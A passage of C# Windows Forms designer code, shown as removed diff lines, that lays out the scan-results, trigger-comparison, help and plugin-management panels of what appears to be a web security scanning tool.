this.ResultsDisplayRTB.ReadOnly = true; - this.ResultsDisplayRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.ResultsDisplayRTB.Size = new System.Drawing.Size(703, 267); - this.ResultsDisplayRTB.TabIndex = 0; - this.ResultsDisplayRTB.TabStop = false; - this.ResultsDisplayRTB.Text = ""; - // - // ResultsTriggersMainSplit - // - this.ResultsTriggersMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsTriggersMainSplit.IsSplitterFixed = true; - this.ResultsTriggersMainSplit.Location = new System.Drawing.Point(0, 0); - this.ResultsTriggersMainSplit.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTriggersMainSplit.Name = "ResultsTriggersMainSplit"; - // - // ResultsTriggersMainSplit.Panel1 - // - this.ResultsTriggersMainSplit.Panel1.Controls.Add(this.ResultsTriggersGrid); - // - // ResultsTriggersMainSplit.Panel2 - // - this.ResultsTriggersMainSplit.Panel2.Controls.Add(this.ResultsDisplayTabs); - this.ResultsTriggersMainSplit.Size = new System.Drawing.Size(703, 236); - this.ResultsTriggersMainSplit.SplitterDistance = 75; - this.ResultsTriggersMainSplit.SplitterWidth = 2; - this.ResultsTriggersMainSplit.TabIndex = 0; - // - // ResultsTriggersGrid - // - this.ResultsTriggersGrid.AllowUserToAddRows = false; - this.ResultsTriggersGrid.AllowUserToDeleteRows = false; - this.ResultsTriggersGrid.AllowUserToResizeRows = false; - this.ResultsTriggersGrid.BackgroundColor = System.Drawing.SystemColors.Window; - this.ResultsTriggersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResultsTriggersGrid.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - dataGridViewCellStyle19.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle19.BackColor = System.Drawing.SystemColors.Window; - dataGridViewCellStyle19.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle19.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle19.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle19.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle19.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ResultsTriggersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle19; - this.ResultsTriggersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ResultsTriggersGrid.ColumnHeadersVisible = false; - this.ResultsTriggersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ResultsTriggerGridNumberColumn}); - this.ResultsTriggersGrid.ContextMenuStrip = this.LogMenu; - this.ResultsTriggersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsTriggersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ResultsTriggersGrid.EnableHeadersVisualStyles = false; - this.ResultsTriggersGrid.GridColor = System.Drawing.Color.White; - this.ResultsTriggersGrid.Location = new System.Drawing.Point(0, 0); - this.ResultsTriggersGrid.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTriggersGrid.MultiSelect = false; - this.ResultsTriggersGrid.Name = "ResultsTriggersGrid"; - this.ResultsTriggersGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - this.ResultsTriggersGrid.RowHeadersVisible = false; - this.ResultsTriggersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ResultsTriggersGrid.Size = new System.Drawing.Size(75, 236); - this.ResultsTriggersGrid.TabIndex = 1; - this.ResultsTriggersGrid.SelectionChanged += new System.EventHandler(this.ResultsTriggersGrid_SelectionChanged); - // - // ResultsTriggerGridNumberColumn - // - this.ResultsTriggerGridNumberColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle20.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.ResultsTriggerGridNumberColumn.DefaultCellStyle = dataGridViewCellStyle20; - this.ResultsTriggerGridNumberColumn.HeaderText = "Triggers:"; - this.ResultsTriggerGridNumberColumn.Name = "ResultsTriggerGridNumberColumn"; - this.ResultsTriggerGridNumberColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ResultsDisplayTabs - // - this.ResultsDisplayTabs.Controls.Add(this.ResultsTriggerHighlightTab); - this.ResultsDisplayTabs.Controls.Add(this.ResultsRequestTab); - this.ResultsDisplayTabs.Controls.Add(this.ResultsResponseTab); - this.ResultsDisplayTabs.Controls.Add(this.ResultsTriggerToolsTab); - this.ResultsDisplayTabs.Controls.Add(this.ResultsHelpTab); - this.ResultsDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsDisplayTabs.Location = new System.Drawing.Point(0, 0); - this.ResultsDisplayTabs.Margin = new System.Windows.Forms.Padding(0); - this.ResultsDisplayTabs.Name = "ResultsDisplayTabs"; - this.ResultsDisplayTabs.Padding = new System.Drawing.Point(0, 0); - this.ResultsDisplayTabs.SelectedIndex = 0; - this.ResultsDisplayTabs.Size = new System.Drawing.Size(626, 236); - this.ResultsDisplayTabs.TabIndex = 3; - // - // ResultsTriggerHighlightTab - // - this.ResultsTriggerHighlightTab.Controls.Add(this.TriggerHighlightRTB); - this.ResultsTriggerHighlightTab.Location = new System.Drawing.Point(4, 22); - this.ResultsTriggerHighlightTab.Name = "ResultsTriggerHighlightTab"; - this.ResultsTriggerHighlightTab.Size = new System.Drawing.Size(618, 210); - this.ResultsTriggerHighlightTab.TabIndex = 2; - this.ResultsTriggerHighlightTab.Text = " Description "; - this.ResultsTriggerHighlightTab.UseVisualStyleBackColor = true; - // - // TriggerHighlightRTB - // - this.TriggerHighlightRTB.BackColor = System.Drawing.SystemColors.Window; - this.TriggerHighlightRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.TriggerHighlightRTB.Cursor = System.Windows.Forms.Cursors.IBeam; - this.TriggerHighlightRTB.DetectUrls = false; - this.TriggerHighlightRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.TriggerHighlightRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.TriggerHighlightRTB.Location = new System.Drawing.Point(0, 0); - this.TriggerHighlightRTB.Name = "TriggerHighlightRTB"; - this.TriggerHighlightRTB.ReadOnly = true; - this.TriggerHighlightRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.TriggerHighlightRTB.Size = new System.Drawing.Size(618, 210); - this.TriggerHighlightRTB.TabIndex = 0; - this.TriggerHighlightRTB.TabStop = false; - this.TriggerHighlightRTB.Text = ""; - // - // ResultsRequestTab - // - this.ResultsRequestTab.Controls.Add(this.ResultsRequestView); - this.ResultsRequestTab.Location = new System.Drawing.Point(4, 22); - this.ResultsRequestTab.Margin = new System.Windows.Forms.Padding(0); - this.ResultsRequestTab.Name = "ResultsRequestTab"; - this.ResultsRequestTab.Size = new System.Drawing.Size(618, 210); - this.ResultsRequestTab.TabIndex = 0; - this.ResultsRequestTab.Text = " Request "; - this.ResultsRequestTab.UseVisualStyleBackColor = true; - // - // ResultsRequestView - // - this.ResultsRequestView.BackColor = System.Drawing.Color.White; - this.ResultsRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsRequestView.Location = new System.Drawing.Point(0, 0); - this.ResultsRequestView.Name = "ResultsRequestView"; - this.ResultsRequestView.ReadOnly = true; - this.ResultsRequestView.Size = new System.Drawing.Size(618, 210); - this.ResultsRequestView.TabIndex = 0; - // - // ResultsResponseTab - // - this.ResultsResponseTab.Controls.Add(this.ResultsResponseView); - this.ResultsResponseTab.Location = new System.Drawing.Point(4, 22); - this.ResultsResponseTab.Margin = new System.Windows.Forms.Padding(0); - this.ResultsResponseTab.Name = "ResultsResponseTab"; - this.ResultsResponseTab.Size = new System.Drawing.Size(618, 210); - this.ResultsResponseTab.TabIndex = 1; - this.ResultsResponseTab.Text = " Response "; - this.ResultsResponseTab.UseVisualStyleBackColor = true; - // - // ResultsResponseView - // - this.ResultsResponseView.BackColor = System.Drawing.Color.White; - this.ResultsResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsResponseView.IncludeReflectionTab = true; - this.ResultsResponseView.Location = new System.Drawing.Point(0, 0); - this.ResultsResponseView.Name = "ResultsResponseView"; - this.ResultsResponseView.ReadOnly = true; - this.ResultsResponseView.Size = new System.Drawing.Size(618, 210); - this.ResultsResponseView.TabIndex = 0; - // - // ResultsTriggerToolsTab - // - this.ResultsTriggerToolsTab.Controls.Add(this.TrigggerAnalysisToolsSplit); - this.ResultsTriggerToolsTab.Location = new System.Drawing.Point(4, 22); - this.ResultsTriggerToolsTab.Name = "ResultsTriggerToolsTab"; - this.ResultsTriggerToolsTab.Size = new System.Drawing.Size(618, 210); - this.ResultsTriggerToolsTab.TabIndex = 3; - this.ResultsTriggerToolsTab.Text = " Trigger Analysis Tools "; - this.ResultsTriggerToolsTab.UseVisualStyleBackColor = true; - // - // TrigggerAnalysisToolsSplit - // - this.TrigggerAnalysisToolsSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.TrigggerAnalysisToolsSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.TrigggerAnalysisToolsSplit.IsSplitterFixed = true; - this.TrigggerAnalysisToolsSplit.Location = new System.Drawing.Point(0, 0); - this.TrigggerAnalysisToolsSplit.Margin = new System.Windows.Forms.Padding(0); - this.TrigggerAnalysisToolsSplit.Name = "TrigggerAnalysisToolsSplit"; - this.TrigggerAnalysisToolsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // TrigggerAnalysisToolsSplit.Panel1 - // - this.TrigggerAnalysisToolsSplit.Panel1.Controls.Add(this.ResultsScanTracePanel); - this.TrigggerAnalysisToolsSplit.Panel1.Controls.Add(this.ResultsTriggerOptionsPanel); - // - // TrigggerAnalysisToolsSplit.Panel2 - // - this.TrigggerAnalysisToolsSplit.Panel2.Controls.Add(this.ResultsTriggersComparePanel); - this.TrigggerAnalysisToolsSplit.Size = new System.Drawing.Size(618, 210); - this.TrigggerAnalysisToolsSplit.SplitterDistance = 52; - this.TrigggerAnalysisToolsSplit.TabIndex = 3; - // - // ResultsScanTracePanel - // - this.ResultsScanTracePanel.BackColor = System.Drawing.Color.Transparent; - this.ResultsScanTracePanel.Controls.Add(this.ResultsShowScanTraceBtn); - this.ResultsScanTracePanel.Dock = System.Windows.Forms.DockStyle.Bottom; - this.ResultsScanTracePanel.Location = new System.Drawing.Point(0, 26); - this.ResultsScanTracePanel.Name = "ResultsScanTracePanel"; - this.ResultsScanTracePanel.Size = new System.Drawing.Size(618, 26); - this.ResultsScanTracePanel.TabIndex = 1; - this.ResultsScanTracePanel.Visible = false; - // - // ResultsShowScanTraceBtn - // - this.ResultsShowScanTraceBtn.Location = new System.Drawing.Point(7, 1); - this.ResultsShowScanTraceBtn.Name = "ResultsShowScanTraceBtn"; - this.ResultsShowScanTraceBtn.Size = new System.Drawing.Size(600, 23); - this.ResultsShowScanTraceBtn.TabIndex = 44; - this.ResultsShowScanTraceBtn.Text = "Show the Payloads, Requests and Responses associated with the Scan that discovere" + - "d this vulnerability"; - this.ResultsShowScanTraceBtn.UseVisualStyleBackColor = true; - this.ResultsShowScanTraceBtn.Click += new System.EventHandler(this.ResultsShowScanTraceBtn_Click); - // - // ResultsTriggerOptionsPanel - // - this.ResultsTriggerOptionsPanel.BackColor = System.Drawing.Color.Transparent; - this.ResultsTriggerOptionsPanel.Controls.Add(this.label5); - this.ResultsTriggerOptionsPanel.Controls.Add(this.ResultsShowTriggersMenuLL); - this.ResultsTriggerOptionsPanel.Dock = System.Windows.Forms.DockStyle.Top; - this.ResultsTriggerOptionsPanel.Location = new System.Drawing.Point(0, 0); - this.ResultsTriggerOptionsPanel.Name = "ResultsTriggerOptionsPanel"; - this.ResultsTriggerOptionsPanel.Size = new System.Drawing.Size(618, 24); - this.ResultsTriggerOptionsPanel.TabIndex = 0; - this.ResultsTriggerOptionsPanel.Visible = false; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(61, 5); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(428, 13); - this.label5.TabIndex = 1; - this.label5.Text = "to get options to resend the Request associated with this Trigger or perform simi" + - "lar actions"; - // - // ResultsShowTriggersMenuLL - // - this.ResultsShowTriggersMenuLL.AutoSize = true; - this.ResultsShowTriggersMenuLL.Location = new System.Drawing.Point(8, 5); - this.ResultsShowTriggersMenuLL.Name = "ResultsShowTriggersMenuLL"; - this.ResultsShowTriggersMenuLL.Size = new System.Drawing.Size(54, 13); - this.ResultsShowTriggersMenuLL.TabIndex = 0; - this.ResultsShowTriggersMenuLL.TabStop = true; - this.ResultsShowTriggersMenuLL.Text = "Click here"; - this.ResultsShowTriggersMenuLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ResultsShowTriggersMenuLL_LinkClicked); - // - // ResultsTriggersComparePanel - // - this.ResultsTriggersComparePanel.BackColor = System.Drawing.Color.Transparent; - this.ResultsTriggersComparePanel.Controls.Add(this.DoDiffBtn); - this.ResultsTriggersComparePanel.Controls.Add(this.SelectForDiffTriggersGrid); - this.ResultsTriggersComparePanel.Controls.Add(this.label32); - this.ResultsTriggersComparePanel.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsTriggersComparePanel.Location = new System.Drawing.Point(0, 0); - this.ResultsTriggersComparePanel.Name = "ResultsTriggersComparePanel"; - this.ResultsTriggersComparePanel.Size = new System.Drawing.Size(618, 154); - this.ResultsTriggersComparePanel.TabIndex = 2; - this.ResultsTriggersComparePanel.Visible = false; - // - // DoDiffBtn - // - this.DoDiffBtn.Location = new System.Drawing.Point(189, 24); - this.DoDiffBtn.Name = "DoDiffBtn"; - this.DoDiffBtn.Size = new System.Drawing.Size(255, 23); - this.DoDiffBtn.TabIndex = 43; - this.DoDiffBtn.Text = "Diff Request/Response of Selected Items"; - this.DoDiffBtn.UseVisualStyleBackColor = true; - this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); - // - // SelectForDiffTriggersGrid - // - this.SelectForDiffTriggersGrid.AllowUserToAddRows = false; - this.SelectForDiffTriggersGrid.AllowUserToDeleteRows = false; - this.SelectForDiffTriggersGrid.AllowUserToOrderColumns = true; - this.SelectForDiffTriggersGrid.AllowUserToResizeRows = false; - this.SelectForDiffTriggersGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.SelectForDiffTriggersGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.SelectForDiffTriggersGrid.BackgroundColor = System.Drawing.Color.White; - this.SelectForDiffTriggersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle21.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle21.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle21.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle21.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle21.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle21.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle21.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.SelectForDiffTriggersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle21; - this.SelectForDiffTriggersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.SelectForDiffTriggersGrid.ColumnHeadersVisible = false; - this.SelectForDiffTriggersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SelectClmn, - this.dataGridViewTextBoxColumn1}); - this.SelectForDiffTriggersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.SelectForDiffTriggersGrid.GridColor = System.Drawing.Color.White; - this.SelectForDiffTriggersGrid.Location = new System.Drawing.Point(8, 7); - this.SelectForDiffTriggersGrid.Margin = new System.Windows.Forms.Padding(0); - this.SelectForDiffTriggersGrid.MultiSelect = false; - this.SelectForDiffTriggersGrid.Name = "SelectForDiffTriggersGrid"; - this.SelectForDiffTriggersGrid.ReadOnly = true; - this.SelectForDiffTriggersGrid.RowHeadersVisible = false; - this.SelectForDiffTriggersGrid.RowHeadersWidth = 10; - this.SelectForDiffTriggersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.SelectForDiffTriggersGrid.Size = new System.Drawing.Size(165, 147); - this.SelectForDiffTriggersGrid.TabIndex = 10; - this.SelectForDiffTriggersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SelectForDiffTriggersGrid_CellClick); - // - // SelectClmn - // - this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SelectClmn.HeaderText = "Select"; - this.SelectClmn.Name = "SelectClmn"; - this.SelectClmn.ReadOnly = true; - this.SelectClmn.Width = 60; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "Trigger ID"; - this.dataGridViewTextBoxColumn1.MinimumWidth = 30; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - // - // label32 - // - this.label32.AutoSize = true; - this.label32.Location = new System.Drawing.Point(187, 8); - this.label32.Name = "label32"; - this.label32.Size = new System.Drawing.Size(362, 13); - this.label32.TabIndex = 1; - this.label32.Text = "Select two items on the left by clicking on them and press the button below."; - // - // ResultsHelpTab - // - this.ResultsHelpTab.Controls.Add(this.textBox7); - this.ResultsHelpTab.Location = new System.Drawing.Point(4, 22); - this.ResultsHelpTab.Name = "ResultsHelpTab"; - this.ResultsHelpTab.Size = new System.Drawing.Size(618, 210); - this.ResultsHelpTab.TabIndex = 4; - this.ResultsHelpTab.Text = " Help "; - this.ResultsHelpTab.UseVisualStyleBackColor = true; - // - // textBox7 - // - this.textBox7.BackColor = System.Drawing.Color.White; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.Dock = System.Windows.Forms.DockStyle.Fill; - this.textBox7.Location = new System.Drawing.Point(0, 0); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.textBox7.Size = new System.Drawing.Size(618, 210); - this.textBox7.TabIndex = 2; - this.textBox7.TabStop = false; - this.textBox7.Text = resources.GetString("textBox7.Text"); - // - // mt_hawas - // - this.mt_hawas.Controls.Add(this.label8); - this.mt_hawas.Location = new System.Drawing.Point(4, 22); - this.mt_hawas.Name = "mt_hawas"; - this.mt_hawas.Size = new System.Drawing.Size(705, 511); - this.mt_hawas.TabIndex = 12; - this.mt_hawas.Text = " HAWAS "; - this.mt_hawas.UseVisualStyleBackColor = true; - // - // mt_dev - // - this.mt_dev.Controls.Add(this.DevMainTabs); - this.mt_dev.Location = new System.Drawing.Point(4, 22); - this.mt_dev.Margin = new System.Windows.Forms.Padding(0); - this.mt_dev.Name = "mt_dev"; - this.mt_dev.Size = new System.Drawing.Size(705, 511); - this.mt_dev.TabIndex = 11; - this.mt_dev.Text = " Dev "; - this.mt_dev.UseVisualStyleBackColor = true; - // - // DevMainTabs - // - this.DevMainTabs.Controls.Add(this.DevModulesAndPluginsTab); - this.DevMainTabs.Controls.Add(this.DevTraceTab); - this.DevMainTabs.Controls.Add(this.DevHelpTab); - this.DevMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.DevMainTabs.Location = new System.Drawing.Point(0, 0); - this.DevMainTabs.Margin = new System.Windows.Forms.Padding(0); - this.DevMainTabs.Name = "DevMainTabs"; - this.DevMainTabs.Padding = new System.Drawing.Point(0, 0); - this.DevMainTabs.SelectedIndex = 0; - this.DevMainTabs.Size = new System.Drawing.Size(705, 511); - this.DevMainTabs.TabIndex = 0; - // - // DevModulesAndPluginsTab - // - this.DevModulesAndPluginsTab.Controls.Add(this.PluginsMainSplit); - this.DevModulesAndPluginsTab.Location = new System.Drawing.Point(4, 22); - this.DevModulesAndPluginsTab.Margin = new System.Windows.Forms.Padding(0); - this.DevModulesAndPluginsTab.Name = "DevModulesAndPluginsTab"; - this.DevModulesAndPluginsTab.Size = new System.Drawing.Size(697, 485); - this.DevModulesAndPluginsTab.TabIndex = 0; - this.DevModulesAndPluginsTab.Text = " Plugins & Modules "; - this.DevModulesAndPluginsTab.UseVisualStyleBackColor = true; - // - // PluginsMainSplit - // - this.PluginsMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginsMainSplit.Location = new System.Drawing.Point(0, 0); - this.PluginsMainSplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginsMainSplit.Name = "PluginsMainSplit"; - // - // PluginsMainSplit.Panel1 - // - this.PluginsMainSplit.Panel1.Controls.Add(this.PluginAndModuleTree); - // - // PluginsMainSplit.Panel2 - // - this.PluginsMainSplit.Panel2.Controls.Add(this.PluginEditorSplit); - this.PluginsMainSplit.Size = new System.Drawing.Size(697, 485); - this.PluginsMainSplit.SplitterDistance = 125; - this.PluginsMainSplit.SplitterWidth = 2; - this.PluginsMainSplit.TabIndex = 2; - // - // PluginAndModuleTree - // - this.PluginAndModuleTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.PluginAndModuleTree.ContextMenuStrip = this.PluginTreeMenu; - this.PluginAndModuleTree.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginAndModuleTree.Location = new System.Drawing.Point(0, 0); - this.PluginAndModuleTree.Margin = new System.Windows.Forms.Padding(0); - this.PluginAndModuleTree.Name = "PluginAndModuleTree"; - this.PluginAndModuleTree.ShowRootLines = false; - this.PluginAndModuleTree.Size = new System.Drawing.Size(125, 485); - this.PluginAndModuleTree.TabIndex = 0; - this.PluginAndModuleTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginTree_AfterSelect); - // - // PluginTreeMenu - // - this.PluginTreeMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.SelectedPluginDeactivateToolStripMenuItem, - this.SelectedPluginReloadToolStripMenuItem, - this.SelectedModuleReloadToolStripMenuItem, - this.allPluginsToolStripMenuItem, - this.passivePluginsToolStripMenuItem, - this.activePluginsToolStripMenuItem, - this.formatPluginsToolStripMenuItem, - this.sessionPluginsToolStripMenuItem}); - this.PluginTreeMenu.Name = "ProxyLogMenu"; - this.PluginTreeMenu.Size = new System.Drawing.Size(214, 180); - this.PluginTreeMenu.Opening += new System.ComponentModel.CancelEventHandler(this.PluginTreeMenu_Opening); - // - // SelectedPluginDeactivateToolStripMenuItem - // - this.SelectedPluginDeactivateToolStripMenuItem.Name = "SelectedPluginDeactivateToolStripMenuItem"; - this.SelectedPluginDeactivateToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.SelectedPluginDeactivateToolStripMenuItem.Text = "Deactivate Selected Plugin"; - this.SelectedPluginDeactivateToolStripMenuItem.Click += new System.EventHandler(this.SelectedPluginDeactivateToolStripMenuItem_Click); - // - // SelectedPluginReloadToolStripMenuItem - // - this.SelectedPluginReloadToolStripMenuItem.Name = "SelectedPluginReloadToolStripMenuItem"; - this.SelectedPluginReloadToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.SelectedPluginReloadToolStripMenuItem.Text = "Reload Selected Plugin"; - this.SelectedPluginReloadToolStripMenuItem.Click += new System.EventHandler(this.SelectedPluginReloadToolStripMenuItem_Click); - // - // SelectedModuleReloadToolStripMenuItem - // - this.SelectedModuleReloadToolStripMenuItem.Name = "SelectedModuleReloadToolStripMenuItem"; - this.SelectedModuleReloadToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.SelectedModuleReloadToolStripMenuItem.Text = "Reload Selected Module"; - this.SelectedModuleReloadToolStripMenuItem.Click += new System.EventHandler(this.SelectedModuleReloadToolStripMenuItem_Click); - // - // allPluginsToolStripMenuItem - // - this.allPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.AllPluginsRAToolStripMenuItem, - this.AllPluginsANToolStripMenuItem}); - this.allPluginsToolStripMenuItem.Name = "allPluginsToolStripMenuItem"; - this.allPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.allPluginsToolStripMenuItem.Text = "All Plugins"; - // - // AllPluginsRAToolStripMenuItem - // - this.AllPluginsRAToolStripMenuItem.Name = "AllPluginsRAToolStripMenuItem"; - this.AllPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.AllPluginsRAToolStripMenuItem.Text = "Reload All"; - this.AllPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.AllPluginsRAToolStripMenuItem_Click); - // - // AllPluginsANToolStripMenuItem - // - this.AllPluginsANToolStripMenuItem.Name = "AllPluginsANToolStripMenuItem"; - this.AllPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.AllPluginsANToolStripMenuItem.Text = "Add New"; - this.AllPluginsANToolStripMenuItem.Click += new System.EventHandler(this.AllPluginsANToolStripMenuItem_Click); - // - // passivePluginsToolStripMenuItem - // - this.passivePluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.PassivePluginsRAToolStripMenuItem, - this.PassivePluginsANToolStripMenuItem}); - this.passivePluginsToolStripMenuItem.Name = "passivePluginsToolStripMenuItem"; - this.passivePluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.passivePluginsToolStripMenuItem.Text = "Passive Plugins"; - // - // PassivePluginsRAToolStripMenuItem - // - this.PassivePluginsRAToolStripMenuItem.Name = "PassivePluginsRAToolStripMenuItem"; - this.PassivePluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.PassivePluginsRAToolStripMenuItem.Text = "Reload All"; - this.PassivePluginsRAToolStripMenuItem.Click += new System.EventHandler(this.PassivePluginsRAToolStripMenuItem_Click); - // - // PassivePluginsANToolStripMenuItem - // - this.PassivePluginsANToolStripMenuItem.Name = "PassivePluginsANToolStripMenuItem"; - this.PassivePluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.PassivePluginsANToolStripMenuItem.Text = "Add New"; - this.PassivePluginsANToolStripMenuItem.Click += new System.EventHandler(this.PassivePluginsANToolStripMenuItem_Click); - // - // activePluginsToolStripMenuItem - // - this.activePluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ActivePluginsRAToolStripMenuItem, - this.ActivePluginsANToolStripMenuItem}); - this.activePluginsToolStripMenuItem.Name = "activePluginsToolStripMenuItem"; - this.activePluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.activePluginsToolStripMenuItem.Text = "Active Plugins"; - // - // ActivePluginsRAToolStripMenuItem - // - this.ActivePluginsRAToolStripMenuItem.Name = "ActivePluginsRAToolStripMenuItem"; - this.ActivePluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.ActivePluginsRAToolStripMenuItem.Text = "Reload All"; - this.ActivePluginsRAToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginsRAToolStripMenuItem_Click); - // - // ActivePluginsANToolStripMenuItem - // - this.ActivePluginsANToolStripMenuItem.Name = "ActivePluginsANToolStripMenuItem"; - this.ActivePluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.ActivePluginsANToolStripMenuItem.Text = "Add New"; - this.ActivePluginsANToolStripMenuItem.Click += new System.EventHandler(this.ActivePluginsANToolStripMenuItem_Click); - // - // formatPluginsToolStripMenuItem - // - this.formatPluginsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.FormatPluginsRAToolStripMenuItem, - this.FormatPluginsANToolStripMenuItem}); - this.formatPluginsToolStripMenuItem.Name = "formatPluginsToolStripMenuItem"; - this.formatPluginsToolStripMenuItem.Size = new System.Drawing.Size(213, 22); - this.formatPluginsToolStripMenuItem.Text = "Format Plugins"; - // - // FormatPluginsRAToolStripMenuItem - // - this.FormatPluginsRAToolStripMenuItem.Name = "FormatPluginsRAToolStripMenuItem"; - this.FormatPluginsRAToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.FormatPluginsRAToolStripMenuItem.Text = "Reload All"; - this.FormatPluginsRAToolStripMenuItem.Click += new System.EventHandler(this.FormatPluginsRAToolStripMenuItem_Click); - // - // FormatPluginsANToolStripMenuItem - // - this.FormatPluginsANToolStripMenuItem.Name = "FormatPluginsANToolStripMenuItem"; - this.FormatPluginsANToolStripMenuItem.Size = new System.Drawing.Size(127, 22); - this.FormatPluginsANToolStripMenuItem.Text = "Add New"; - this.FormatPluginsANToolStripMenuItem.Click += new System.EventHandler(this.FormatPluginsANToolStripMenuItem_Click); - // - // sessionPluginsToolStripMenuItem - // - 